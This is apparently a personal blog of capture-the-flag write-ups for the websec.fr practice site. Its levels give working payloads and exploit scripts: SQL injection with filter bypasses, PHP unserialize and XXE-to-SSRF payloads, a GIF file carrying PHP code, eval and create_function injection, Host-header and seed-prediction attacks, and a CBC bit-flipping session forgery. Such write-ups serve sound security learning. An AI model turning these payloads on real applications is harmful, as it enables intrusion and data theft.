This blog is a collection of the writeup on challenges I solved on websec.fr. I recommend that you attempt the challenge before reading the writeup. I will keep adding writeups here as I solve new challenges.
Level 01
It’s a simple SQL Injection. We first find out the query used to create the table.
-1 UNION SELECT 'xyz', GROUP_CONCAT(sql) FROM sqlite_master;--
Now to extract the password, we again use UNION
& GROUP_CONCAT
and we
get the flag.
-1 UNION SELECT 'xyz', GROUP_CONCAT(password) FROM users;--
Level 02
It’s a similar level as the previous one, but now few keywords are getting replaced
with the empty string. As preg_replace
only does one pass while replacing. We can
use something like SELSELECTECT which will result in inner SELECT
getting
replaced with an empty string and resulting in the final SELECT
string.
New payload:
-1 UNIOUNIONN SELECSELECTT 'xyz', GROUGROUPP_CONCAT(password) FROFROMM users;--
Level 03
This level introduces a bug that occurs at PHP’s C implementation. In its
implementation, it uses char*
to store the input value because of this string past
null character gets discarded. Something else to notice here is that it is using
fa1se
instead of false
in these two mentioned lines because of which hash gets
returned in raw format.
$h2 = password_hash (sha1($_POST['c'], fa1se), PASSWORD_BCRYPT);
if (password_verify (sha1($flag, fa1se), $h2) === true {
Now we have flag’s hash which is 7c00249d409a91ab84e3f421c193520d9fb3674b
and it has
null byte at second position. So, effectively this makes password_verify
’s the first
parameter to be byte 7c
. Now, if we find and string whose sha1 starts with 7c00
,
then we can get the flag.
import hashlib
sha1 = lambda x:hashlib.sha1(str(x)).hexdigest()
i = 0
while True:
if sha1(i).startswith("7c00"):
print(i)
break
i += 1
We get 104610
and entering the same as input gives us the flag.
Level 04
The challenge is a simple case in which untrusted data is unserialized.
The value of leet_hax0r
cookie gets unserialized without any validation.
if (isset ($_COOKIE['leet_hax0r'])) {
$sess_data = unserialize (base64_decode ($_COOKIE['leet_hax0r']));
try {
if (is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR']) {
die('CANT HACK US!!!');
}
} catch(Exception $e) {
echo $e;
}
}
Code to generate serialized object payload.
<?php
class SQL
{
public $query;
public $conn;
function __construct()
{
$this->query = "SELECT GROUP_CONCAT(password) as username from users;";
$this->conn = NULL;
}
}
$inst = new SQL();
echo urlencode(base64_encode(serialize($inst)));
Setting the cookie value’s value to payload will give away the flag.
Level 05
The first thing that is very visible is preg_replace
called with an e
modifier.
Words from the input are selected and passed to the correct
function using a
double quote ("
). The parameter is generated from the first group of input
matching with regex(Note: PHP escapes character '
, "
, \
& NULL
in the strings
that replace the backreferences). Here we can use $
in our input to access
variables.
Input:
---- $blacklist ----
Output:
---- '"() ` ----
If we try to access the $flag
, we get an undefined error. Probably it is defined
in some other file. Trying to access flag.php
(through broswer), we get
402 Payment Required
. So, now we have to include flag.php
and then access the $flag
variable.
We can call any function using ${}
syntax(like ${system('id')}
) but as (
&
)
are blocked. We can’t call any function. Although a language construct can be
used without any parenthesis. So, using ${include_once 'flag.php'}
, we can
include flag.php
file but '
is not allowed. Instead, we can use a variable for
that. Payload to include flag.php
becomes ${include_once $_GET[inc]}
. Next, we
access the flag using ${flag}
. We still have to take care of space in the payload.
This can be bypassed using any whitespace character(0x20, 0x0a, 0x0d, 0x09, 0x0b, 0x0c).
Final Payload(don’t forget to include inc=flag.php
in URL)
${include_once $_GET[inc]} ${flag}
This gives us the flag. :)
Level 07
This challenge was tricky. The blacklisted keywords were much more in number this time.
Although it allowed us to run a UNION
query, we can’t use the password
keyword due to
or
in the spelling. To reference the password
column, we can use it in UNION
with any
other table with known & allowed column names.
Example:
SELECT 1 as x, 2 as y, 3 as z UNION SELECT * from users
The above query will result in a table with columns x
, y
& z
, and data from users
table concatenated.
Payload Query(gives password for user_one
):
999 union select id, pass from (select 999 as id, 999 as name, 999 as pass union select * from users)
This displayed user with password not_your_flag
. I decided to look for other tables
after deciding to give it one more try. This time trying to extract the password for
user_two
.
Payload Query(gives password for user_two
):
999 union select id, pass from (select 999 as id, 999 as name, 999 as pass union select * from users) where id
Adding the condition ensures that the id
is true
for that row. SQLite’s older version
doesn’t have true/false
instead 1/0
are used. So, this will evaluate to false for
user_one
which has id=0
. Luckily! user_two
’s password is the flag.
Level 08
It’s an easy challenge. It relies on magic bytes and some header information to validate a GIF file. It then includes the GIF file, which can have PHP code.
<?php
$originalGIF = "/tmp/test.gif";
$tmpGIF = "/tmp/tmp.gif";
$payload = '<?php var_dump(file_get_contents("flag.txt")); ?>';
$data = file_get_contents($originalGIF);
for ($i = 1; $i < 10000; $i++) {
$partialData = substr($data, 0, $i);
file_put_contents($tmpGIF, $partialData);
if (@getimagesize($tmpGIF) !== false) {
if (@exif_imagetype($tmpGIF) === IMAGETYPE_GIF) {
echo "Fully Valid at size: " . $i . "\n";
file_put_contents($tmpGIF, $payload, FILE_APPEND);
break;
} else {
echo "Partially Valid at size: " . $i . "\n";
}
} else {
echo "Invalid at size: " . $i . "\n";
}
}
Level 09
The application is performing two actions. First, a file whose name is sha1
of UNIX
timestamp gets created with data from $_GET['c']
. Next, few blacklisted keywords are
getting replaced with empty keywords. Secondly, if cache_file
is present in the query
parameter, then the file pointed by cache_file
’s content is un-quoted and evaluated.
stripcslashes
un-quotes all C-like backslashes, which includes hexadecimal representations
like \xAB
. The first step doesn’t block hexadecimal representation. So, we
will encode our payload in the hexadecimal format.
Payload:
var_dump(file_get_contents("flag.txt"));
Script to encode:
payload = 'var_dump(file_get_contents("flag.txt"));'
print('\\x'+'\\x'.join(_.encode('hex') for _ in payload))
Encode payload:
\x76\x61\x72\x5f\x64\x75\x6d\x70\x28\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x28\x22\x66\x6c\x61\x67\x2e\x74\x78\x74\x22\x29\x29\x3b
Now, we create a file with this payload by submitting this payload. It will create a file
in /tmp
directory and set filename as the cookie. This cookie expires soon, so get that
name from headers. Next, we use this file as our payload and set cahce_file
to
/tmp/<name-from-cookie>
.
Level 10
The only thing to notice in the code was that loose comparison. Every other code looks okay. You can read about loose comparison here.
Exploit Code:
import requests
prefix = "./"
while True:
r = requests.post("http://websec.fr/level10/index.php", data={
'hash': "0e12345",
'f': prefix + 'flag.php'
})
if "WEBSEC{" in r.text:
print(r.text)
break
prefix += "/"
This will eventually print out the flag. This happens when internal hash starts
with 0e
.
Level 11
This challenge is somewhat specific to SQL query structure. It’s focused on SQL syntax,
where AS
keyword is not needed to rename columns.
user_id: 999
table: (select 999 id, enemy username from costume)
Level 12
In this challenge, we can initialize an instance of any class(except those blocked) whose constructor can take two parameters. Then the language construct echo
is called on the newly created instance, which leads to a call to a magic function __toString
.
Script to find all classes with __toString
function:
$classes = get_declared_classes();
foreach ($classes as $cls) {
if (method_exists($cls, '__toString')) {
echo "--> " . $cls . PHP_EOL;
}
}
Out of all the classes, the most interesting one is SimpleXMLElement
. You can read about it here. The second parameter allows us to control flags, which controls the parsing. Using the flag LIBXML_NOENT
, we can include external entities. The integer value of LIBXML_NOENT
is 2, and this becomes our second parameter. The first parameter will our XXE payload.
XXE payload to get index.php
:
<!DOCTYPE root [
<!ENTITY exfildata SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<root>
&exfildata;
</root>
The above exploit gives us base64 encoded content of index.php
.
Code of index.php
:
<!DOCTYPE html>
<html>
<head>
<title>#WebSec Level Twelve</title>
<link href="/static/bootstrap.min.css" rel="stylesheet" />
<link href="/static/websec.css" rel="stylesheet" />
<link rel="icon" href="/static/favicon.png" type="image/png">
</head>
<body>
<div id="main">
<div class="container">
<div class="row">
<h1>LevelTwelve <small> - This time, it's different.</small></h1>
</div>
<div class="row">
<p class="lead">
Since we trust you <em>very much</em>, you can instanciate a class of your choice, with two arbitrary parameters.</br>
Well, except the dangerous ones, like <code>splfileobject</code>, <code>globiterator</code>, <code>filesystemiterator</code>,
and <code>directoryiterator</code>.<br>
Lets see what you can do with this.
</p>
</div>
</div>
<br>
<div class="container">
<div class="row">
<form name="username" method="post" class="form-inline">
<samp>
<div class="form-group">
<label for="class" class="sr-only">class</label>
echo <span class='text-success'>new</span>
<input type="text" class="form-control" id="class" name="class" placeholder="class" required>
(
</div>
<div class="form-group">
<label for="param1" class="sr-only">first parameter</label>
<input type="text" class="form-control" id="param1" name="param1" placeholder="first parameter" required>
,
</div>
<div class="form-group">
<label for="param2" class="sr-only">second parameter</label>
<input type="text" class="form-control" id="param2" name="param2" placeholder="second parameter" required>
);
</div>
</samp>
<button type="submit" class="btn btn-default">launch!</button>
</form>
</div>
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);
if (isset ($_POST['class']) && isset ($_POST['param1']) && isset ($_POST['param2'])) {
$class = strtolower ($_POST['class']);
if (in_array ($class, ['splfileobject', 'globiterator', 'directoryiterator', 'filesystemiterator'])) {
die ('Dangerous class detected.');
} else {
$result = new $class ($_POST['param1'], $_POST['param2']);
echo '<br><hr><br><div class="row"><pre>' . $result . '</pre></div>';
}
}
?>
</div>
</div>
</body>
</html>
<?php
/*
Congratulation, you can read this file, but this is not the end of our journey.
- Thanks to cutz for the QA.
- Thanks to blotus for finding a (now fixed) weakness in the "encryption" function.
- Thanks to nurfed for nagging us about a cheat
*/
$text = 'Niw0OgIsEykABg8qESRRCg4XNkEHNg0XCls4BwZaAVBbLU4EC2VFBTooPi0qLFUELQ==';
$key = ini_get ('user_agent');
if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1') {
if ($_SERVER['HTTP_USER_AGENT'] !== $key) {
die ("Cheating is bad, m'kay?");
}
$i = 0;
$flag = '';
foreach (str_split (base64_decode ($text)) as $letter) {
$flag .= chr (ord ($key[$i++]) ^ ord ($letter));
}
die ($flag);
}
?>
It is evident from reading the source code that we have to request the same endpoint from that server itself, primarily an SSRF.
Final XXE payload:
<!DOCTYPE root [
<!ENTITY exfildata SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1/level12/index.php">
]>
<root>
&exfildata;
</root>
This gives us the flag.
Level 13
The bug in application lies in the loop. After every iteration of the loop, the condition gets evaluated, meaning the value of count($tmp)
is also re-evaluated. Also, every element is accessed by its index. So, whenever unset
gets called on any element, it decreases the count of elements in the array without modifying other element’s indexes. In our payload, if we insert 0
at any position other than the last one, then the last element won’t get checked.
Payload:
4,0,0,0,0,5 )) UNION SELECT user_password, 6, 7 FROM users;--
Level 14
In PHP, one can call a function by using a varibale whose value is name of the function.
$func_to_call = "passthru";
$func_to_call("id"); // Runs id command
In this challenge we can access functions in a similar way.
$blacklist{657}('ls');
We can understand from the output that passthru
is blocked. It can be verified using
echo $blacklist{562}();
which runs phpinfo
.
After trying the challenge for few more days. I couldn’t shorten the payload. So I decided to read the writeup, and it is surprising how unique a solution can be. I have added an explanation for the same.
PHP allows taking the negation of a string. Also, one can use the negation of a string to reference a variable.
$key = "secret";
$var = "key";
$var_neg = ~$var;
$payload = "echo \${~'$var_neg'};";
echo $payload . PHP_EOL;
eval($payload);
echo PHP_EOL . "--------------" . PHP_EOL;
$payload = "echo \${~$var_neg};";
echo $payload . PHP_EOL;
eval($payload);
Exploit Code:
import requests
import re
code = "${~\xA0\xB8\xBA\xAB}{c}(${~\xA0\xB8\xBA\xAB}{p});"
caller_function = "assert"
parameter = "var_dump(file_get_contents('0e7efcd6e821f4bb90af4e4c439001944c1769da.php'))"
r = requests.post(
"http://websec.fr/level14/index.php",
params={
'c': caller_function,
'p': parameter
},
data={
'code': code
}
)
_search = re.search(r"WEBSEC{.+}", r.text)
if _search:
print("Flag: {}".format(_search.group()))
Level 15
PHP’s create_function
allows us to create lambda functions.
On documentation page, one
can see the caution block stating that this function internally uses eval
and is
therefore unsafe to use. The source code for the same can be found
here.
It creates a string like function __lambda_func (<fucntion-params>){<function-code>}
. It
then evaluates this string. So, we end the function ourselves and add extra code which gets
evaluated.
Payload:
echo 123; }; echo $flag; echo phpinfo();//
Level 17
This one is an easy challenge. All the brute force protection is just red herring. When one of the parameters to strcasecmp
is an array, it’s return value is NULL
, whose logical not is true
.
curl "https://websec.fr/level17/index.php" \
--data 'flag[]=1'
Level 18
Here the provided object is unserialized and the input
property of the object is compared
with flag
property. Before the comparison flag
property’s value is set to the real
flag.
To make input
equal to flag
, we can make input
point to flag
using reference.
$obj = new stdClass();
$obj->flag = "xyz";
$obj->input = &$obj->flag;
$cookie = serialize($obj);
echo "Serialize Object => " . $cookie . PHP_EOL;
$curl = curl_init('https://websec.fr/level18/index.php');
$cookie = urlencode($cookie);
curl_setopt($curl, CURLOPT_COOKIE, "obj=$cookie");
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
$page = curl_exec($curl);
curl_close($curl);
preg_match_all("(WEBSEC{.+})", $page, $matches);
echo "Flag: " . $matches[0][0] . PHP_EOL;
Level 19
Two things are happening in the application. We can tackle in one by one.
First, we deal with the captcha. If you read the code carefully, you can observe that the
x
coordinate for the character in the image will sometime exceed the image width.
$i * rand (20, 40)
. So, we can never find the whole captcha. To get captcha’s value, we
can exploit the way they are getting generated. Application uses srand(microtime(true))
to seed the random number generator(i.e. rand
). As we already know the value of the
time, therefore we know the seed used, and therefore we can predict the random number
sequence. Now, microtime(true)
returns a float
value but as srand
only expects a
int
value so float
is typecasted to int
. We can use the CSRF token to verify if we
are getting the same series of random numbers.
Secondly, we need to view the reset email. The application blindly trusts
$_SERVER['HTTP_HOST']
’s value. This value is user-controllable(using Host
header)
unless the server is running using a virtual host, in which case Host
value is used to
decide upon which directory/resources to serve. In the case of websec.fr, the application
is getting served as a default/fallback host. Now, as we control at which host email gets
delivered. We can use any online service to get a temporary email with a level19
username. I prefer to use https://www.guerrillamail.com
The flag got returned in response body instead of the email. So, no need to go through the hassle of creating a new inbox.
Script(Note: It requires php5
, the same major version as the server)
function generate_random_text($length)
{
$chars = "abcdefghijklmnopqrstuvwxyz";
$chars .= "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$chars .= "1234567890";
$text = '';
for ($i = 0; $i < $length; $i++) {
$text .= $chars[rand() % strlen($chars)];
}
return $text;
}
$HOST = "grr.la";
$COOKIE_JAR = tempnam('/tmp', 'level19-cookie-jar');
echo "Saving cookies to " . $COOKIE_JAR . PHP_EOL;
$ch = curl_init('http://websec.fr/level19/index.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $COOKIE_JAR);
curl_setopt($ch, CURLOPT_COOKIEFILE, $COOKIE_JAR);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Host: $HOST"));
// curl_setopt($ch, CURLOPT_VERBOSE, 1);
$page = curl_exec($ch);
curl_close($ch);
preg_match_all('/^date: (.+)$/im', $page, $matches);
$time = trim($matches[1][0]);
echo 'Date: ' . $time . PHP_EOL;
$time = strtotime($time);
echo 'UNIX Timestamp: ' . $time . PHP_EOL;
srand($time);
$csrf_token = generate_random_text(32);
echo 'CSRF Token: ' . $csrf_token . PHP_EOL;
if (strpos($page, $csrf_token) !== FALSE) {
$captcha = generate_random_text(255 / 10.0);
echo "Predicted CSRF matches!" . PHP_EOL;
} else {
die('Can\'t fing CSRF token in response. Try again!');
}
echo "Captcha: " . $captcha . PHP_EOL;
$ch = curl_init('http://websec.fr/level19/index.php');
curl_setopt($ch, CURLOPT_POST, TRUE);
curl_setopt($ch, CURLOPT_COOKIEJAR, $COOKIE_JAR);
curl_setopt($ch, CURLOPT_COOKIEFILE, $COOKIE_JAR);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "captcha=$captcha&token=$csrf_token");
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Host: $HOST"));
// curl_setopt($ch, CURLOPT_VERBOSE, 1);
$page = curl_exec($ch);
curl_close($ch);
echo $page . PHP_EOL;
Level 20
The challenge performs some checks before deserializing an object. First, there should be
no uppercase letter. Second, there should be no serialized object. At least one check
shall pass for successful deserialization. This blog
provides an excellent explanation of PHP’s serialization & deserialization functions. It
mentions that we can use C
instead of O
if the class implements the Serializable
class. Anyhow, we can still use it with unserialize
.
Payload plaintext: C:4:"Flag":0:{}
Payload base64: Qzo0OiJGbGFnIjowOnt9
curl 'https://websec.fr/level20/index.php' \
-H 'Cookie: data=Qzo0OiJGbGFnIjowOnt9'
Level 21
The challenge is based on an oracle padding attack. I recommend you read about it here if unfamiliar with the vulnerability. The application logic looks mostly secure except the way it stores session and uses the value from session to build SQL query without validating the values. This is the part where we use an oracle padding attack to manipulate the values stored in the session.
Script:
import requests
import hashlib
import re
URL = "http://websec.fr/level21/index.php"
BLOCK_SIZE = 16
SESSION = None
USERNAME = "1"*6 + "2"*15
PASSWORD = "xyz"
PASSWORD_HASH = hashlib.md5(PASSWORD).hexdigest()
SQL_PAYLOAD = "' OR 1;#"
def getNewIV(curr_iv, curr_plaintext, exp_plaintext):
"""
Find new IV for block given old & new plaintext along with current IV
"""
curr_iv = list(curr_iv)
curr_plaintext = list(curr_plaintext)
exp_plaintext = list(exp_plaintext)
new_iv = list(curr_iv)
assert(len(curr_iv) == BLOCK_SIZE)
assert(len(curr_plaintext) == BLOCK_SIZE)
assert(len(exp_plaintext) == BLOCK_SIZE)
for i in range(BLOCK_SIZE):
new_iv[i] = ord(curr_plaintext[i])
new_iv[i] ^= ord(exp_plaintext[i])
new_iv[i] ^= ord(curr_iv[i])
new_iv[i] = chr(new_iv[i])
return ''.join(new_iv)
def getBlocks(data, size):
""" Split data into blocks of given size """
assert(len(data) % size == 0)
return [data[i:i+size] for i in range(0, len(data), size)]
def getSession():
r = requests.post(URL, data={
"register": "1",
"username": USERNAME,
"password": PASSWORD
})
if "The user was created successfully." in r.text:
pass
elif "Your nick is likely already present in the database." in r.text:
print("[-] User creation failed")
exit(1)
else:
print("[-] User creation failed. Skipping to login")
pass
r = requests.post(URL, data={
"login": "1",
"username": USERNAME,
"password": PASSWORD
})
return r.cookies.get("session")
def attemptAdminLogin(session):
print("[+] Attempting admin login with session")
r = requests.get(URL, cookies={
'session': session
})
if r.status_code == 500:
print("[-] Request Failed.")
exit(1)
else:
_regex = r"WEBSEC{.*}"
if re.search(_regex, r.text):
FLAG = re.search(_regex, r.text).group()
print("[+] Flag Found.")
print("[*] => {}".format(FLAG))
else:
print("[+] Flag not found")
def main():
global SESSION
if SESSION is None:
SESSION = getSession()
if SESSION is None:
print("[-] Session generation failed")
exit(1)
SESSION = SESSION.decode('hex')
print("[+] Current Session fetched.")
print("[*] => {}".format(SESSION.encode('hex')))
BLOCKS = getBlocks(SESSION, BLOCK_SIZE)
current_plaintext = "user/pass:"
current_plaintext += USERNAME
current_plaintext += "/"
current_plaintext += PASSWORD_HASH
current_plaintext_blocks = getBlocks(current_plaintext, BLOCK_SIZE)
print("[+] Current Plaintext")
print("[*] => {}".format(current_plaintext))
expected_plaintext = "user/pass:" + "admin/"
assert(len(expected_plaintext) == BLOCK_SIZE)
expected_plaintext += "~"*16 # Don't care for this region
assert(len(expected_plaintext) == 2 * BLOCK_SIZE)
expected_plaintext += SQL_PAYLOAD + PASSWORD_HASH[len(SQL_PAYLOAD):]
assert(len(expected_plaintext) == 4 * BLOCK_SIZE)
expected_plaintext_blocks = getBlocks(expected_plaintext, BLOCK_SIZE)
print("[+] Expected Plaintext")
print("[*] => {}".format(expected_plaintext))
NEW_BLOCKS = list(BLOCKS)
NEW_BLOCKS[0] = getNewIV(
BLOCKS[0],
current_plaintext_blocks[0],
expected_plaintext_blocks[0]
)
NEW_BLOCKS[2] = getNewIV(
BLOCKS[2],
current_plaintext_blocks[2],
expected_plaintext_blocks[2]
)
NEW_SESSION = ''.join(NEW_BLOCKS)
print("[+] Admin Session generated.")
print("[*] => {}".format(NEW_SESSION.encode('hex')))
attemptAdminLogin(NEW_SESSION.encode('hex'))
if __name__ == "__main__":
main()